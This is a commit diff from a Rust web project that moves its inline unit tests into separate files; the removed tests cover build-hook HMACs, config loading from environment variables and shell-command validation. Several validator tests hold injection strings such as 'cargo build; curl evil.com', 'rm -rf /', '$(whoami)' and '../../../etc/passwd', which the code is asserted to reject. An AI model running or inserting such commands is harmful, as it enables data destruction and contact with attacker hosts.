max / makenotwork
- Co-Authored-By
- Claude Opus 5 (1M context) <noreply@anthropic.com>
- Claude-Session
- https://claude.ai/code/session_01EEmeiSJnmyL98QzA5Dwsvz
18 files changed,
+3759 insertions,
-3259 deletions
| @@ -1245,230 +1245,4 @@ | |||
| 1245 | 1245 | } | |
| 1246 | 1246 | ||
| 1247 | 1247 | #[cfg(test)] | |
| 1248 | - | mod tests { | |
| 1249 | - | use super::*; | |
| 1250 | - | ||
| 1251 | - | #[test] | |
| 1252 | - | fn the_update_hook_guards_the_namespace_validation_reserves() { | |
| 1253 | - | // Bash cannot read a Rust constant, so the literal in the hook is a | |
| 1254 | - | // copy. Renaming the reserved prefix without editing the hook would | |
| 1255 | - | // leave the new one pushable and the old one locked, which is the | |
| 1256 | - | // failure this pins: two doors, one policy. | |
| 1257 | - | let reserved = crate::validation::RESERVED_NOTE_NAMESPACE; | |
| 1258 | - | assert!( | |
| 1259 | - | UPDATE_HOOK.contains(&format!("refs/notes/{reserved}|refs/notes/{reserved}/*")), | |
| 1260 | - | "the update hook does not guard refs/notes/{reserved}/*:\n{UPDATE_HOOK}" | |
| 1261 | - | ); | |
| 1262 | - | // The bare prefix and the subtree are separate patterns in a glob, and | |
| 1263 | - | // matching only the subtree would leave `refs/notes/mnw` itself open. | |
| 1264 | - | assert!(UPDATE_HOOK.contains("exit 1"), "{UPDATE_HOOK}"); | |
| 1265 | - | } | |
| 1266 | - | ||
| 1267 | - | #[tokio::test] | |
| 1268 | - | async fn read_capped_truncates_to_cap() { | |
| 1269 | - | // 10k bytes through a 4k cap retains exactly 4k (the rest is drained and | |
| 1270 | - | // discarded so the child never blocks on a full pipe). | |
| 1271 | - | let data = vec![b'x'; 10_000]; | |
| 1272 | - | let out = read_capped(&data[..], 4096).await; | |
| 1273 | - | assert_eq!(out.len(), 4096); | |
| 1274 | - | } | |
| 1275 | - | ||
| 1276 | - | #[tokio::test] | |
| 1277 | - | async fn read_capped_returns_all_when_under_cap() { | |
| 1278 | - | let out = read_capped(&b"hello world"[..], 4096).await; | |
| 1279 | - | assert_eq!(out, "hello world"); | |
| 1280 | - | } | |
| 1281 | - | ||
| 1282 | - | #[test] | |
| 1283 | - | fn build_failure_message_partial() { | |
| 1284 | - | assert_eq!( | |
| 1285 | - | build_failure_message(1, 2, Some("boom")), | |
| 1286 | - | "partial build failure (1/3 targets succeeded)" | |
| 1287 | - | ); | |
| 1288 | - | assert_eq!( | |
| 1289 | - | build_failure_message(2, 1, Some("boom")), | |
| 1290 | - | "partial build failure (2/3 targets succeeded)" | |
| 1291 | - | ); | |
| 1292 | - | } | |
| 1293 | - | ||
| 1294 | - | #[test] | |
| 1295 | - | fn build_failure_message_total_failure_uses_first_error() { | |
| 1296 | - | assert_eq!(build_failure_message(0, 3, Some("ssh down")), "ssh down"); | |
| 1297 | - | assert_eq!( | |
| 1298 | - | build_failure_message(0, 0, None), | |
| 1299 | - | "no targets produced artifacts" | |
| 1300 | - | ); | |
| 1301 | - | } | |
| 1302 | - | ||
| 1303 | - | #[test] | |
| 1304 | - | fn rust_target_mapping() { | |
| 1305 | - | assert_eq!( | |
| 1306 | - | rust_target("linux", "x86_64"), | |
| 1307 | - | Some("x86_64-unknown-linux-gnu") | |
| 1308 | - | ); | |
| 1309 | - | assert_eq!( | |
| 1310 | - | rust_target("linux", "aarch64"), | |
| 1311 | - | Some("aarch64-unknown-linux-gnu") | |
| 1312 | - | ); | |
| 1313 | - | assert_eq!(rust_target("darwin", "x86_64"), Some("x86_64-apple-darwin")); | |
| 1314 | - | assert_eq!( | |
| 1315 | - | rust_target("darwin", "aarch64"), | |
| 1316 | - | Some("aarch64-apple-darwin") | |
| 1317 | - | ); | |
| 1318 | - | assert_eq!(rust_target("windows", "x86_64"), None); | |
| 1319 | - | } | |
| 1320 | - | ||
| 1321 | - | #[test] | |
| 1322 | - | fn hook_template_contains_hmac_not_raw_token() { | |
| 1323 | - | let hook = post_receive_hook("secret-token-123", "alice", "myrepo"); | |
| 1324 | - | let expected_hmac = repo_hmac("secret-token-123", "alice", "myrepo"); | |
| 1325 | - | assert!( | |
| 1326 | - | hook.contains(&expected_hmac), | |
| 1327 | - | "hook should contain per-repo HMAC" | |
| 1328 | - | ); | |
| 1329 | - | assert!( | |
| 1330 | - | !hook.contains("secret-token-123"), | |
| 1331 | - | "hook must not contain raw token" | |
| 1332 | - | ); | |
| 1333 | - | assert!(!hook.contains("__HMAC__"), "placeholder should be replaced"); | |
| 1334 | - | assert!(hook.contains("/api/internal/builds/trigger")); | |
| 1335 | - | } | |
| 1336 | - | ||
| 1337 | - | /// The two notes arms answer different refs and must not be confused for | |
| 1338 | - | /// each other: an inbox push is merged and answered synchronously, a notes | |
| 1339 | - | /// push is only indexed. A `case` pattern that caught both would either | |
| 1340 | - | /// merge a ref that is already the namespace or leave a push unindexed. | |
| 1341 | - | #[test] | |
| 1342 | - | fn the_hook_indexes_a_notes_push_and_merges_an_inbox_push() { | |
| 1343 | - | let hook = post_receive_hook("secret-token-123", "alice", "myrepo"); | |
| 1344 | - | assert!(hook.contains("/api/internal/notes/reindex")); | |
| 1345 | - | assert!(hook.contains("/api/internal/notes/merge-inbox")); | |
| 1346 | - | assert!(hook.contains("refs/notes/*)")); | |
| 1347 | - | assert!(hook.contains("refs/mnw/notes-inbox/*)")); | |
| 1348 | - | // The inbox lives under refs/mnw/, so nothing an inbox push does can | |
| 1349 | - | // fall into the indexing arm. `notes_inbox` pins that prefix itself. | |
| 1350 | - | assert!(!"refs/mnw/notes-inbox/commits".starts_with("refs/notes/")); | |
| 1351 | - | } | |
| 1352 | - | ||
| 1353 | - | /// Fixed vector, duplicated in mnw-cli's `repo_hmac` test. mnw-cli installs | |
| 1354 | - | /// hooks for repos it auto-creates over SSH, and this endpoint verifies | |
| 1355 | - | /// them; if either side's derivation moves, both tests have to move | |
| 1356 | - | /// together or those pushes stop triggering builds. | |
| 1357 | - | #[test] | |
| 1358 | - | fn repo_hmac_matches_mnw_cli_vector() { | |
| 1359 | - | assert_eq!( | |
| 1360 | - | repo_hmac("test-token", "max", "repo"), | |
| 1361 | - | "198b4a4f542c0c27c4ca333030dfe09fe670aa44bae34d7a586481bb13fd9eb0" | |
| 1362 | - | ); | |
| 1363 | - | } | |
| 1364 | - | ||
| 1365 | - | #[test] | |
| 1366 | - | fn repo_hmac_differs_per_repo() { | |
| 1367 | - | let h1 = repo_hmac("token", "alice", "repo-a"); | |
| 1368 | - | let h2 = repo_hmac("token", "alice", "repo-b"); | |
| 1369 | - | assert_ne!(h1, h2, "different repos should produce different HMACs"); | |
| 1370 | - | } | |
| 1371 | - | ||
| 1372 | - | #[test] | |
| 1373 | - | fn shell_escape_basic() { | |
| 1374 | - | assert_eq!(shell_escape("hello"), "'hello'"); | |
| 1375 | - | assert_eq!(shell_escape("it's"), "'it'\\''s'"); | |
| 1376 | - | } | |
| 1377 | - | ||
| 1378 | - | #[test] | |
| 1379 | - | fn validate_build_command_accepts_safe_commands() { | |
| 1380 | - | assert!( | |
| 1381 | - | validate_build_command("cargo build --release --target x86_64-unknown-linux-gnu") | |
| 1382 | - | .is_ok() | |
| 1383 | - | ); | |
| 1384 | - | assert!(validate_build_command("make -j4").is_ok()); | |
| 1385 | - | assert!(validate_build_command("RUSTFLAGS=--cfg tokio_unstable cargo build").is_ok()); | |
| 1386 | - | } | |
| 1387 | - | ||
| 1388 | - | #[test] | |
| 1389 | - | fn validate_build_command_rejects_injection() { | |
| 1390 | - | assert!(validate_build_command("cargo build; curl evil.com").is_err()); | |
| 1391 | - | assert!(validate_build_command("cargo build && rm -rf /").is_err()); | |
| 1392 | - | assert!(validate_build_command("cargo build | tee log").is_err()); | |
| 1393 | - | assert!(validate_build_command("$(whoami)").is_err()); | |
| 1394 | - | assert!(validate_build_command("`whoami`").is_err()); | |
| 1395 | - | assert!(validate_build_command("cargo build > /dev/null").is_err()); | |
| 1396 | - | assert!(validate_build_command("").is_err()); | |
| 1397 | - | assert!( | |
| 1398 | - | validate_build_command(" ").is_err(), | |
| 1399 | - | "whitespace-only has no program" | |
| 1400 | - | ); | |
| 1401 | - | assert!( | |
| 1402 | - | validate_build_command("FOO=bar").is_err(), | |
| 1403 | - | "assignment with no program" | |
| 1404 | - | ); | |
| 1405 | - | } | |
| 1406 | - | ||
| 1407 | - | #[test] | |
| 1408 | - | fn remote_command_parse_separates_env_program_args() { | |
| 1409 | - | let c = RemoteCommand::parse("cargo build --release").unwrap(); | |
| 1410 | - | assert!(c.assignments.is_empty()); | |
| 1411 | - | assert_eq!(c.program, "cargo"); | |
| 1412 | - | assert_eq!(c.args, vec!["build", "--release"]); | |
| 1413 | - | ||
| 1414 | - | let c = RemoteCommand::parse("RUSTFLAGS=--cfg CARGO_INCREMENTAL=0 cargo build").unwrap(); | |
| 1415 | - | assert_eq!( | |
| 1416 | - | c.assignments, | |
| 1417 | - | vec!["RUSTFLAGS=--cfg", "CARGO_INCREMENTAL=0"] | |
| 1418 | - | ); | |
| 1419 | - | assert_eq!(c.program, "cargo"); | |
| 1420 | - | assert_eq!(c.args, vec!["build"]); | |
| 1421 | - | } | |
| 1422 | - | ||
| 1423 | - | #[test] | |
| 1424 | - | fn remote_command_render_escapes_every_token() { | |
| 1425 | - | // Plain command: each token individually single-quoted. | |
| 1426 | - | let c = RemoteCommand::parse("cargo build --release").unwrap(); | |
| 1427 | - | assert_eq!(c.render(), "'cargo' 'build' '--release'"); | |
| 1428 | - | ||
| 1429 | - | // Env prefix: applied via `env`, each element escaped. | |
| 1430 | - | let c = RemoteCommand::parse("RUSTFLAGS=--cfg cargo build").unwrap(); | |
| 1431 | - | assert_eq!(c.render(), "env 'RUSTFLAGS=--cfg' 'cargo' 'build'"); | |
| 1432 | - | } | |
| 1433 | - | ||
| 1434 | - | #[test] | |
| 1435 | - | fn is_env_assignment_recognizes_valid_identifiers_only() { | |
| 1436 | - | assert!(is_env_assignment("FOO=bar")); | |
| 1437 | - | assert!(is_env_assignment("_X1=y")); | |
| 1438 | - | assert!(is_env_assignment("A=")); // empty value is a valid assignment | |
| 1439 | - | assert!( | |
| 1440 | - | !is_env_assignment("1FOO=bar"), | |
| 1441 | - | "identifier can't start with a digit" | |
| 1442 | - | ); | |
| 1443 | - | assert!(!is_env_assignment("cargo"), "no '='"); | |
| 1444 | - | assert!(!is_env_assignment("--target=x"), "not a shell identifier"); | |
| 1445 | - | } | |
| 1446 | - | ||
| 1447 | - | #[test] | |
| 1448 | - | fn render_defuses_would_be_injection_even_if_charset_bypassed() { | |
| 1449 | - | // Construct a RemoteCommand directly with a hostile arg (bypassing the | |
| 1450 | - | // token charset check) to prove render() is the real guard: the shell | |
| 1451 | - | // sees a single quoted word, not a command separator. | |
| 1452 | - | let c = RemoteCommand { | |
| 1453 | - | assignments: vec![], | |
| 1454 | - | program: "cargo".to_string(), | |
| 1455 | - | args: vec!["build; rm -rf /".to_string()], | |
| 1456 | - | }; | |
| 1457 | - | assert_eq!(c.render(), "'cargo' 'build; rm -rf /'"); | |
| 1458 | - | } | |
| 1459 | - | ||
| 1460 | - | #[test] | |
| 1461 | - | fn validate_artifact_path_accepts_safe_paths() { | |
| 1462 | - | assert!(validate_artifact_path("target/x86_64-unknown-linux-gnu/release/myapp").is_ok()); | |
| 1463 | - | assert!(validate_artifact_path("dist/app-v0.1.0.tar.gz").is_ok()); | |
| 1464 | - | } | |
| 1465 | - | ||
| 1466 | - | #[test] | |
| 1467 | - | fn validate_artifact_path_rejects_unsafe() { | |
| 1468 | - | assert!(validate_artifact_path("/etc/passwd").is_err()); | |
| 1469 | - | assert!(validate_artifact_path("../../../etc/passwd").is_err()); | |
| 1470 | - | assert!(validate_artifact_path("path with spaces").is_err()); | |
| 1471 | - | assert!(validate_artifact_path("$(whoami)").is_err()); | |
| 1472 | - | assert!(validate_artifact_path("").is_err()); | |
| 1473 | - | } | |
| 1474 | - | } | |
| 1248 | + | mod tests; |
| @@ -951,582 +951,4 @@ | |||
| 951 | 951 | } | |
| 952 | 952 | ||
| 953 | 953 | #[cfg(test)] | |
| 954 | - | mod tests { | |
| 955 | - | use super::*; | |
| 956 | - | use std::sync::Mutex; | |
| 957 | - | ||
| 958 | - | /// Mutex to serialize tests that call Config::from_env(), since env vars are | |
| 959 | - | /// process-global and concurrent mutation causes flaky failures. | |
| 960 | - | static ENV_LOCK: Mutex<()> = Mutex::new(()); | |
| 961 | - | ||
| 962 | - | /// All env var keys that Config::from_env() reads. Used by the guard to | |
| 963 | - | /// snapshot and restore state so tests don't leak into each other. | |
| 964 | - | const CONFIG_ENV_VARS: &[&str] = &[ | |
| 965 | - | "HOST", | |
| 966 | - | "PORT", | |
| 967 | - | "DATABASE_URL", | |
| 968 | - | "HOST_URL", | |
| 969 | - | "SIGNING_SECRET", | |
| 970 | - | "S3_ENDPOINT", | |
| 971 | - | "S3_BUCKET", | |
| 972 | - | "S3_ACCESS_KEY", | |
| 973 | - | "S3_SECRET_KEY", | |
| 974 | - | "S3_REGION", | |
| 975 | - | "S3_PUBLIC_BUCKET", | |
| 976 | - | "S3_RPM_BUCKET", | |
| 977 | - | "RPM_S3_ENDPOINT", | |
| 978 | - | "RPM_S3_BUCKET", | |
| 979 | - | "RPM_S3_ACCESS_KEY", | |
| 980 | - | "RPM_S3_SECRET_KEY", | |
| 981 | - | "RPM_S3_REGION", | |
| 982 | - | "RPM_BASE_URL", | |
| 983 | - | "SYNCKIT_S3_ENDPOINT", | |
| 984 | - | "SYNCKIT_S3_BUCKET", | |
| 985 | - | "SYNCKIT_S3_ACCESS_KEY", | |
| 986 | - | "SYNCKIT_S3_SECRET_KEY", | |
| 987 | - | "SYNCKIT_S3_REGION", | |
| 988 | - | "STRIPE_SECRET_KEY", | |
| 989 | - | "STRIPE_WEBHOOK_SECRET", | |
| 990 | - | "STRIPE_WEBHOOK_SECRET_V2", | |
| 991 | - | "ADMIN_USER_ID", | |
| 992 | - | "SYNCKIT_JWT_SECRET", | |
| 993 | - | "SCAN_ENABLED", | |
| 994 | - | "CLAMAV_SOCKET", | |
| 995 | - | "YARA_RULES_DIR", | |
| 996 | - | "MALWAREBAZAAR_ENABLED", | |
| 997 | - | "URLHAUS_ENABLED", | |
| 998 | - | "ABUSE_CH_AUTH_KEY", | |
| 999 | - | "METADEFENDER_API_KEY", | |
| 1000 | - | "GIT_REPOS_PATH", | |
| 1001 | - | "POSTMARK_WEBHOOK_TOKEN", | |
| 1002 | - | "POSTMARK_BROADCAST_WEBHOOK_TOKEN", | |
| 1003 | - | "GIT_SSH_HOST", | |
| 1004 | - | "MT_BASE_URL", | |
| 1005 | - | "FAN_PLUS_STRIPE_PRICE_ID", | |
| 1006 | - | "CREATOR_TIER_BASIC_PRICE_ID", | |
| 1007 | - | "CREATOR_TIER_SMALL_FILES_PRICE_ID", | |
| 1008 | - | "CREATOR_TIER_BIG_FILES_PRICE_ID", | |
| 1009 | - | "CREATOR_TIER_EVERYTHING_PRICE_ID", | |
| 1010 | - | "CREATOR_TIER_BASIC_ANNUAL_PRICE_ID", | |
| 1011 | - | "CREATOR_TIER_SMALL_FILES_ANNUAL_PRICE_ID", | |
| 1012 | - | "CREATOR_TIER_BIG_FILES_ANNUAL_PRICE_ID", | |
| 1013 | - | "CREATOR_TIER_EVERYTHING_ANNUAL_PRICE_ID", | |
| 1014 | - | "CREATOR_TIER_BASIC_FOUNDER_PRICE_ID", | |
| 1015 | - | "CREATOR_TIER_SMALL_FILES_FOUNDER_PRICE_ID", | |
| 1016 | - | "CREATOR_TIER_BIG_FILES_FOUNDER_PRICE_ID", | |
| 1017 | - | "CREATOR_TIER_EVERYTHING_FOUNDER_PRICE_ID", | |
| 1018 | - | "CREATOR_TIER_BASIC_FOUNDER_ANNUAL_PRICE_ID", | |
| 1019 | - | "CREATOR_TIER_SMALL_FILES_FOUNDER_ANNUAL_PRICE_ID", | |
| 1020 | - | "CREATOR_TIER_BIG_FILES_FOUNDER_ANNUAL_PRICE_ID", | |
| 1021 | - | "CREATOR_TIER_EVERYTHING_FOUNDER_ANNUAL_PRICE_ID", | |
| 1022 | - | "CREATOR_FOUNDER_WINDOW_OPEN", | |
| 1023 | - | "BUILD_TRIGGER_TOKEN", | |
| 1024 | - | "BUILD_HOST_LINUX", | |
| 1025 | - | "BUILD_HOST_DARWIN", | |
| 1026 | - | "CDN_BASE_URL", | |
| 1027 | - | "POSTMARK_INBOUND_WEBHOOK_TOKEN", | |
| 1028 | - | "INTERNAL_SHARED_SECRET", | |
| 1029 | - | "CLI_SERVICE_TOKEN", | |
| 1030 | - | "WAM_URL", | |
| 1031 | - | "WAM_TOKEN", | |
| 1032 | - | "ACCESS_GATE", | |
| 1033 | - | "SSO_PROVIDER_URL", | |
| 1034 | - | "SSO_CLIENT_ID", | |
| 1035 | - | "SSO_KEY", | |
| 1036 | - | ]; | |
| 1037 | - | ||
| 1038 | - | /// RAII guard that snapshots config-related env vars on creation and restores | |
| 1039 | - | /// them when dropped. Also holds the ENV_LOCK so tests run serially. | |
| 1040 | - | struct EnvGuard { | |
| 1041 | - | _lock: std::sync::MutexGuard<'static, ()>, | |
| 1042 | - | snapshot: Vec<(&'static str, Option<String>)>, | |
| 1043 | - | } | |
| 1044 | - | ||
| 1045 | - | impl EnvGuard { | |
| 1046 | - | fn new() -> Self { | |
| 1047 | - | let lock = ENV_LOCK | |
| 1048 | - | .lock() | |
| 1049 | - | .unwrap_or_else(std::sync::PoisonError::into_inner); | |
| 1050 | - | let snapshot = CONFIG_ENV_VARS | |
| 1051 | - | .iter() | |
| 1052 | - | .map(|&key| (key, std::env::var(key).ok())) | |
| 1053 | - | .collect(); | |
| 1054 | - | Self { | |
| 1055 | - | _lock: lock, | |
| 1056 | - | snapshot, | |
| 1057 | - | } | |
| 1058 | - | } | |
| 1059 | - | ||
| 1060 | - | /// Remove all config env vars so from_env() sees a clean slate. | |
| 1061 | - | fn clear_all() { | |
| 1062 | - | for &key in CONFIG_ENV_VARS { | |
| 1063 | - | // SAFETY: test-only, serialized by mutex | |
| 1064 | - | unsafe { | |
| 1065 | - | std::env::remove_var(key); | |
| 1066 | - | } | |
| 1067 | - | } | |
| 1068 | - | } | |
| 1069 | - | } | |
| 1070 | - | ||
| 1071 | - | impl Drop for EnvGuard { | |
| 1072 | - | fn drop(&mut self) { | |
| 1073 | - | for (key, val) in &self.snapshot { | |
| 1074 | - | match val { | |
| 1075 | - | // SAFETY: test-only, serialized by mutex | |
| 1076 | - | Some(v) => unsafe { std::env::set_var(key, v) }, | |
| 1077 | - | None => unsafe { std::env::remove_var(key) }, | |
| 1078 | - | } | |
| 1079 | - | } | |
| 1080 | - | } | |
| 1081 | - | } | |
| 1082 | - | ||
| 1083 | - | // ---- tests ---- | |
| 1084 | - | ||
| 1085 | - | #[test] | |
| 1086 | - | fn socket_addr_combines_host_and_port() { | |
| 1087 | - | let config = Config { | |
| 1088 | - | host: "127.0.0.1".parse().unwrap(), | |
| 1089 | - | port: 8080, | |
| 1090 | - | database_url: "postgres://test".to_string(), | |
| 1091 | - | host_url: Arc::from("http://localhost:8080"), | |
| 1092 | - | signing_secret: "secret".to_string(), | |
| 1093 | - | storage: None, | |
| 1094 | - | synckit_storage: None, | |
| 1095 | - | public_storage: None, | |
| 1096 | - | rpm_storage: None, | |
| 1097 | - | rpm_base_url: None, | |
| 1098 | - | stripe: None, | |
| 1099 | - | admin_user_id: None, | |
| 1100 | - | synckit_jwt_secret: None, | |
| 1101 | - | scan: None, | |
| 1102 | - | cdn_base_url: "https://cdn.localhost".to_string(), | |
| 1103 | - | user_pages_host: Arc::from("u.localhost"), | |
| 1104 | - | access_gate: AccessGate::Open, | |
| 1105 | - | sso: None, | |
| 1106 | - | rate_limits: crate::constants::RateLimits::production(), | |
| 1107 | - | build: BuildConfig { | |
| 1108 | - | trigger_token: None, | |
| 1109 | - | host_linux: None, | |
| 1110 | - | host_darwin: None, | |
| 1111 | - | git_repos_path: None, | |
| 1112 | - | git_ssh_host: None, | |
| 1113 | - | }, | |
| 1114 | - | email_webhooks: EmailWebhookConfig { | |
| 1115 | - | webhook_token: None, | |
| 1116 | - | broadcast_webhook_token: None, | |
| 1117 | - | inbound_webhook_token: None, | |
| 1118 | - | enforce_sender_auth: true, | |
| 1119 | - | }, | |
| 1120 | - | creator_pricing: CreatorTierPricing { | |
| 1121 | - | fan_plus_price_id: None, | |
| 1122 | - | tier_prices: HashMap::new(), | |
| 1123 | - | tier_annual_prices: HashMap::new(), | |
| 1124 | - | tier_founder_prices: HashMap::new(), | |
| 1125 | - | tier_founder_annual_prices: HashMap::new(), | |
| 1126 | - | founder_window_open: false, | |
| 1127 | - | }, | |
| 1128 | - | integrations: IntegrationsConfig { | |
| 1129 | - | mt_base_url: None, | |
| 1130 | - | wam_url: None, | |
| 1131 | - | internal_shared_secret: None, | |
| 1132 | - | cli_service_token: None, | |
| 1133 | - | alerts_ingest_token: None, | |
| 1134 | - | }, | |
| 1135 | - | }; | |
| 1136 | - | let addr = config.socket_addr(); | |
| 1137 | - | assert_eq!(addr.port(), 8080); | |
| 1138 | - | assert_eq!(addr.ip().to_string(), "127.0.0.1"); | |
| 1139 | - | } | |
| 1140 | - | ||
| 1141 | - | #[test] | |
| 1142 | - | fn config_error_display() { | |
| 1143 | - | assert_eq!(ConfigError::InvalidHost.to_string(), "Invalid HOST address"); | |
| 1144 | - | assert_eq!(ConfigError::InvalidPort.to_string(), "Invalid PORT number"); | |
| 1145 | - | assert!( | |
| 1146 | - | ConfigError::MissingDatabaseUrl | |
| 1147 | - | .to_string() | |
| 1148 | - | .contains("DATABASE_URL") | |
| 1149 | - | ); | |
| 1150 | - | } | |
| 1151 | - | ||
| 1152 | - | // ---- from_env validation tests ---- | |
| 1153 | - | ||
| 1154 | - | #[test] | |
| 1155 | - | fn from_env_succeeds_with_required_vars() { | |
| 1156 | - | let guard = EnvGuard::new(); | |
| 1157 | - | EnvGuard::clear_all(); | |
| 1158 | - | ||
| 1159 | - | // SAFETY: test-only, serialized by EnvGuard mutex | |
| 1160 | - | unsafe { | |
| 1161 | - | std::env::set_var("DATABASE_URL", "postgres://localhost/test_db"); | |
| 1162 | - | std::env::set_var("CDN_BASE_URL", "https://cdn.test"); | |
| 1163 | - | } | |
| 1164 | - | ||
| 1165 | - | let config = Config::from_env().expect("should succeed with DATABASE_URL set"); | |
| 1166 | - | assert_eq!(config.database_url, "postgres://localhost/test_db"); | |
| 1167 | - | // Defaults: host=127.0.0.1, port=3000 | |
| 1168 | - | assert_eq!(config.host.to_string(), "127.0.0.1"); | |
| 1169 | - | assert_eq!(config.port, 3000); | |
| 1170 | - | // Signing secret should be a random 64-char hex string in dev mode | |
| 1171 | - | assert!(!config.signing_secret.is_empty()); | |
| 1172 | - | drop(guard); | |
| 1173 | - | } | |
| 1174 | - | ||
| 1175 | - | #[test] | |
| 1176 | - | fn from_env_fails_without_database_url() { | |
| 1177 | - | let guard = EnvGuard::new(); | |
| 1178 | - | EnvGuard::clear_all(); | |
| 1179 | - | ||
| 1180 | - | let err = Config::from_env().unwrap_err(); | |
| 1181 | - | assert!( | |
| 1182 | - | matches!(err, ConfigError::MissingDatabaseUrl), | |
| 1183 | - | "expected MissingDatabaseUrl, got: {err}" | |
| 1184 | - | ); | |
| 1185 | - | drop(guard); | |
| 1186 | - | } | |
| 1187 | - | ||
| 1188 | - | #[test] | |
| 1189 | - | fn from_env_fails_in_production_without_signing_secret() { | |
| 1190 | - | let guard = EnvGuard::new(); | |
| 1191 | - | EnvGuard::clear_all(); | |
| 1192 | - | ||
| 1193 | - | // SAFETY: test-only, serialized by EnvGuard mutex | |
| 1194 | - | unsafe { | |
| 1195 | - | std::env::set_var("DATABASE_URL", "postgres://localhost/test_db"); | |
| 1196 | - | std::env::set_var("CDN_BASE_URL", "https://cdn.test"); | |
| 1197 | - | std::env::set_var("HOST", "0.0.0.0"); // production indicator | |
| 1198 | - | } | |
| 1199 | - | ||
| 1200 | - | let err = Config::from_env().unwrap_err(); | |
| 1201 | - | assert!( | |
| 1202 | - | matches!(err, ConfigError::MissingSigningSecret), | |
| 1203 | - | "expected MissingSigningSecret, got: {err}" | |
| 1204 | - | ); | |
| 1205 | - | drop(guard); | |
| 1206 | - | } | |
| 1207 | - | ||
| 1208 | - | #[test] | |
| 1209 | - | fn from_env_fails_without_cdn_base_url_even_outside_production() { | |
| 1210 | - | let guard = EnvGuard::new(); | |
| 1211 | - | EnvGuard::clear_all(); | |
| 1212 | - | ||
| 1213 | - | // SAFETY: test-only, serialized by EnvGuard mutex | |
| 1214 | - | unsafe { | |
| 1215 | - | std::env::set_var("DATABASE_URL", "postgres://localhost/test_db"); | |
| 1216 | - | std::env::set_var("SIGNING_SECRET", "x".repeat(32)); // pass the pre-CDN gate | |
| 1217 | - | // No production indicator: HOST stays unset, so this is a dev config. | |
| 1218 | - | // It must STILL fail. The requirement is unconditional precisely so | |
| 1219 | - | // no environment can reach the old presigned fallback, which minted | |
| 1220 | - | // a 24-hour URL into the durable `projects.cover_image_url` column. | |
| 1221 | - | // CDN_BASE_URL deliberately unset. | |
| 1222 | - | } | |
| 1223 | - | ||
| 1224 | - | let err = Config::from_env().unwrap_err(); | |
| 1225 | - | assert!( | |
| 1226 | - | matches!(err, ConfigError::MissingCdnBaseUrl), | |
| 1227 | - | "expected MissingCdnBaseUrl, got: {err}" | |
| 1228 | - | ); | |
| 1229 | - | drop(guard); | |
| 1230 | - | } | |
| 1231 | - | ||
| 1232 | - | #[test] | |
| 1233 | - | fn from_env_accepts_production_with_cdn_base_url() { | |
| 1234 | - | let guard = EnvGuard::new(); | |
| 1235 | - | EnvGuard::clear_all(); | |
| 1236 | - | ||
| 1237 | - | // SAFETY: test-only, serialized by EnvGuard mutex | |
| 1238 | - | unsafe { | |
| 1239 | - | std::env::set_var("DATABASE_URL", "postgres://localhost/test_db"); | |
| 1240 | - | std::env::set_var("CDN_BASE_URL", "https://cdn.test"); | |
| 1241 | - | std::env::set_var("SIGNING_SECRET", "x".repeat(32)); | |
| 1242 | - | std::env::set_var("HOST", "0.0.0.0"); | |
| 1243 | - | std::env::set_var("CDN_BASE_URL", "https://cdn.makenot.work"); | |
| 1244 | - | } | |
| 1245 | - | ||
| 1246 | - | let config = Config::from_env().expect("production config with CDN should succeed"); | |
| 1247 | - | assert_eq!(config.cdn_base_url, "https://cdn.makenot.work"); | |
| 1248 | - | drop(guard); | |
| 1249 | - | } | |
| 1250 | - | ||
| 1251 | - | #[test] | |
| 1252 | - | fn from_env_fails_with_https_host_url_without_signing_secret() { | |
| 1253 | - | let guard = EnvGuard::new(); | |
| 1254 | - | EnvGuard::clear_all(); | |
| 1255 | - | ||
| 1256 | - | // SAFETY: test-only, serialized by EnvGuard mutex | |
| 1257 | - | unsafe { | |
| 1258 | - | std::env::set_var("DATABASE_URL", "postgres://localhost/test_db"); | |
| 1259 | - | std::env::set_var("CDN_BASE_URL", "https://cdn.test"); | |
| 1260 | - | std::env::set_var("HOST_URL", "https://makenot.work"); // production indicator | |
| 1261 | - | } | |
| 1262 | - | ||
| 1263 | - | let err = Config::from_env().unwrap_err(); | |
| 1264 | - | assert!( | |
| 1265 | - | matches!(err, ConfigError::MissingSigningSecret), | |
| 1266 | - | "expected MissingSigningSecret, got: {err}" | |
| 1267 | - | ); | |
| 1268 | - | drop(guard); | |
| 1269 | - | } | |
| 1270 | - | ||
| 1271 | - | #[test] | |
| 1272 | - | fn from_env_fails_with_short_synckit_jwt_secret() { | |
| 1273 | - | let guard = EnvGuard::new(); | |
| 1274 | - | EnvGuard::clear_all(); | |
| 1275 | - | ||
| 1276 | - | // SAFETY: test-only, serialized by EnvGuard mutex | |
| 1277 | - | unsafe { | |
| 1278 | - | std::env::set_var("DATABASE_URL", "postgres://localhost/test_db"); | |
| 1279 | - | std::env::set_var("CDN_BASE_URL", "https://cdn.test"); | |
| 1280 | - | std::env::set_var("SIGNING_SECRET", "x".repeat(32)); | |
| 1281 | - | // 31 chars, one under the floor. | |
| 1282 | - | std::env::set_var("SYNCKIT_JWT_SECRET", "x".repeat(31)); | |
| 1283 | - | } | |
| 1284 | - | ||
| 1285 | - | let err = Config::from_env().unwrap_err(); | |
| 1286 | - | assert!( | |
| 1287 | - | matches!(err, ConfigError::WeakSynckitJwtSecret), | |
| 1288 | - | "expected WeakSynckitJwtSecret, got: {err}" | |
| 1289 | - | ); | |
| 1290 | - | drop(guard); | |
| 1291 | - | } | |
| 1292 | - | ||
| 1293 | - | #[test] | |
| 1294 | - | fn from_env_accepts_strong_synckit_jwt_secret() { | |
| 1295 | - | let guard = EnvGuard::new(); | |
| 1296 | - | EnvGuard::clear_all(); | |
| 1297 | - | ||
| 1298 | - | // SAFETY: test-only, serialized by EnvGuard mutex | |
| 1299 | - | unsafe { | |
| 1300 | - | std::env::set_var("DATABASE_URL", "postgres://localhost/test_db"); | |
| 1301 | - | std::env::set_var("CDN_BASE_URL", "https://cdn.test"); | |
| 1302 | - | std::env::set_var("SIGNING_SECRET", "x".repeat(32)); | |
| 1303 | - | std::env::set_var("SYNCKIT_JWT_SECRET", "y".repeat(32)); | |
| 1304 | - | } | |
| 1305 | - | ||
| 1306 | - | let config = Config::from_env().expect("32-char JWT secret should be accepted"); | |
| 1307 | - | assert_eq!( | |
| 1308 | - | config.synckit_jwt_secret.as_deref(), | |
| 1309 | - | Some("y".repeat(32).as_str()) | |
| 1310 | - | ); | |
| 1311 | - | drop(guard); | |
| 1312 | - | } | |
| 1313 | - | ||
| 1314 | - | #[test] | |
| 1315 | - | fn from_env_uses_random_dev_secret_when_not_production() { | |
| 1316 | - | let guard = EnvGuard::new(); | |
